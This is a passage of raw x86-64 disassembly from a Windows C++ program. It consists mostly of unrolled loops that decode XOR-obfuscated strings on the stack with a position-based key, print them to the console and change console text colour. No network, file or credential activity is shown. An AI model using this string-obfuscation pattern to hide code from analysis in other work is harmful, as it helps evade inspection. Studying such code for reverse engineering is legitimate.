movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x63]
add r9, rax
lea ecx, [r8 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x64]
add r9, rax
lea ecx, [r8 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x65]
add r9, rax
lea ecx, [r8 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x66]
add r9, rax
lea ecx, [r8 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x67]
add r9, rax
lea ecx, [r8 + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x68]
add r9, rax
lea ecx, [r8 + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x69]
add r9, rax
lea ecx, [r8 + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x6a]
add r9, rax
lea ecx, [r8 + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x6b]
add r9, rax
lea ecx, [r8 + 0xb]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x6c]
add r9, rax
lea ecx, [r8 + 0xc]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x6d]
add r9, rax
lea ecx, [r8 + 0xd]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x6e]
add r9, rax
lea ecx, [r8 + 0xe]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x6f]
add r9, rax
lea ecx, [r8 + 0xf]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
lea ecx, [r8 + 0x10]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x71]
add r9, rax
lea ecx, [r8 + 0x11]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x72]
add r9, rax
lea ecx, [r8 + 0x12]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x73]
add r9, rax
lea ecx, [r8 + 0x13]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x74]
add r9, rax
lea ecx, [r8 + 0x14]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x75]
add r9, rax
lea ecx, [r8 + 0x15]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x76]
add r9, rax
lea ecx, [r8 + 0x16]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x77]
add r9, rax
lea ecx, [r8 + 0x17]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
sub r10b, dl
add r10b, 0x4c
xor byte [r9], r10b
add r8d, 0x1a
lea eax, [r8 - 2]
cmp eax, 0x34
jl 0x140020830
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
vzeroupper
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0x40], 0
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
vmovups ymm0, ymmword [0x140094658]
vmovups ymmword [rsp + 0x60], ymm0
vmovups xmm1, xmmword [0x140094678]
vmovups xmmword [rsp + 0x80], xmm1
mov eax, dword [0x140094688]
mov dword [rsp + 0x90], eax
movzx eax, word [0x14009468c]
mov word [rsp + 0x94], ax
mov r10d, 2
nop dword [rax]
lea r9d, [r10 - 2]
movsxd rax, r10d
lea r8, [rsp + rax + 0x5e]
mov eax, 0x51eb851f
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x33
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + rax + 0x5f]
lea ecx, [r10 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x34
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x60]
add r8, rax
mov eax, 0x51eb851f
imul r10d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x35
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x61]
add r8, rax
lea ecx, [r10 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x36
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x62]
add r8, rax
lea ecx, [r10 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x37
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x63]
add r8, rax
lea ecx, [r10 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x38
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x64]
add r8, rax
lea ecx, [r10 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x39
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x65]
add r8, rax
lea ecx, [r10 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3a
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x66]
add r8, rax
lea ecx, [r10 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3b
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x67]
add r8, rax
lea ecx, [r10 + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3c
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x68]
add r8, rax
lea ecx, [r10 + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3d
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x69]
add r8, rax
lea ecx, [r10 + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3e
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x6a]
add r8, rax
lea ecx, [r10 + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3f
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x6b]
add r8, rax
lea ecx, [r10 + 0xb]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x40
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x6c]
add r8, rax
lea ecx, [r10 + 0xc]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x41
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x6d]
add r8, rax
lea ecx, [r10 + 0xd]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x42
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x6e]
add r8, rax
lea ecx, [r10 + 0xe]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x43
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x6f]
add r8, rax
lea ecx, [r10 + 0xf]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x44
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x70]
add r8, rax
lea ecx, [r10 + 0x10]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x45
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x71]
add r8, rax
lea ecx, [r10 + 0x11]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x46
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x72]
add r8, rax
lea ecx, [r10 + 0x12]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x47
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x73]
add r8, rax
lea ecx, [r10 + 0x13]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x48
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x74]
add r8, rax
lea ecx, [r10 + 0x14]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x49
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x75]
add r8, rax
lea ecx, [r10 + 0x15]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x4a
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x76]
add r8, rax
lea ecx, [r10 + 0x16]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x4b
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x77]
add r8, rax
lea ecx, [r10 + 0x17]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x4c
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x78]
add r8, rax
lea ecx, [r10 + 0x18]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
sub r9b, dl
add r9b, 0x4d
xor byte [r8], r9b
add r10d, 0x1b
lea eax, [r10 - 2]
cmp eax, 0x36
jl 0x140020dc0
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
vzeroupper
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0x40], 0
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
vmovups ymm0, ymmword [0x140094520]
vmovups ymmword [rsp + 0xb0], ymm0
vmovups ymm1, ymmword [0x140094540]
vmovups ymmword [rsp + 0xd0], ymm1
vmovups xmm0, xmmword [0x140094560]
vmovups xmmword [rsp + 0xf0], xmm0
movzx eax, word [0x140094570]
mov word [rsp + 0x100], ax
mov r10d, 2
nop dword [rax]
nop word [rax + rax]
lea r9d, [r10 - 2]
movsxd rax, r10d
lea r8, [rsp + rax + 0xae]
mov eax, 0x51eb851f
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x33
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + rax + 0xaf]
lea ecx, [r10 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x34
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xb0]
add r8, rax
mov eax, 0x51eb851f
imul r10d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x35
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xb1]
add r8, rax
lea ecx, [r10 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x36
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xb2]
add r8, rax
lea ecx, [r10 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x37
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xb3]
add r8, rax
lea ecx, [r10 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x38
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xb4]
add r8, rax
lea ecx, [r10 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x39
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xb5]
add r8, rax
lea ecx, [r10 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3a
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xb6]
add r8, rax
lea ecx, [r10 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3b
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xb7]
add r8, rax
lea ecx, [r10 + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3c
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xb8]
add r8, rax
lea ecx, [r10 + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3d
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xb9]
add r8, rax
lea ecx, [r10 + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3e
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xba]
add r8, rax
lea ecx, [r10 + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3f
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xbb]
add r8, rax
lea ecx, [r10 + 0xb]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x40
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xbc]
add r8, rax
lea ecx, [r10 + 0xc]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x41
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xbd]
add r8, rax
lea ecx, [r10 + 0xd]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x42
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xbe]
add r8, rax
lea ecx, [r10 + 0xe]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x43
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xbf]
add r8, rax
lea ecx, [r10 + 0xf]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x44
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xc0]
add r8, rax
lea ecx, [r10 + 0x10]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x45
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xc1]
add r8, rax
lea ecx, [r10 + 0x11]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x46
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xc2]
add r8, rax
lea ecx, [r10 + 0x12]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x47
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xc3]
add r8, rax
lea ecx, [r10 + 0x13]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x48
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xc4]
add r8, rax
lea ecx, [r10 + 0x14]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x49
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xc5]
add r8, rax
lea ecx, [r10 + 0x15]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x4a
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xc6]
add r8, rax
lea ecx, [r10 + 0x16]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x4b
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xc7]
add r8, rax
lea ecx, [r10 + 0x17]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x4c
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xc8]
add r8, rax
lea ecx, [r10 + 0x18]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x4d
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xc9]
add r8, rax
lea ecx, [r10 + 0x19]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x4e
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xca]
add r8, rax
lea ecx, [r10 + 0x1a]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x4f
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xcb]
add r8, rax
lea ecx, [r10 + 0x1b]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x50
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xcc]
add r8, rax
lea ecx, [r10 + 0x1c]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x51
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xcd]
add r8, rax
lea ecx, [r10 + 0x1d]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x52
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xce]
add r8, rax
lea ecx, [r10 + 0x1e]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x53
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xcf]
add r8, rax
lea ecx, [r10 + 0x1f]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x54
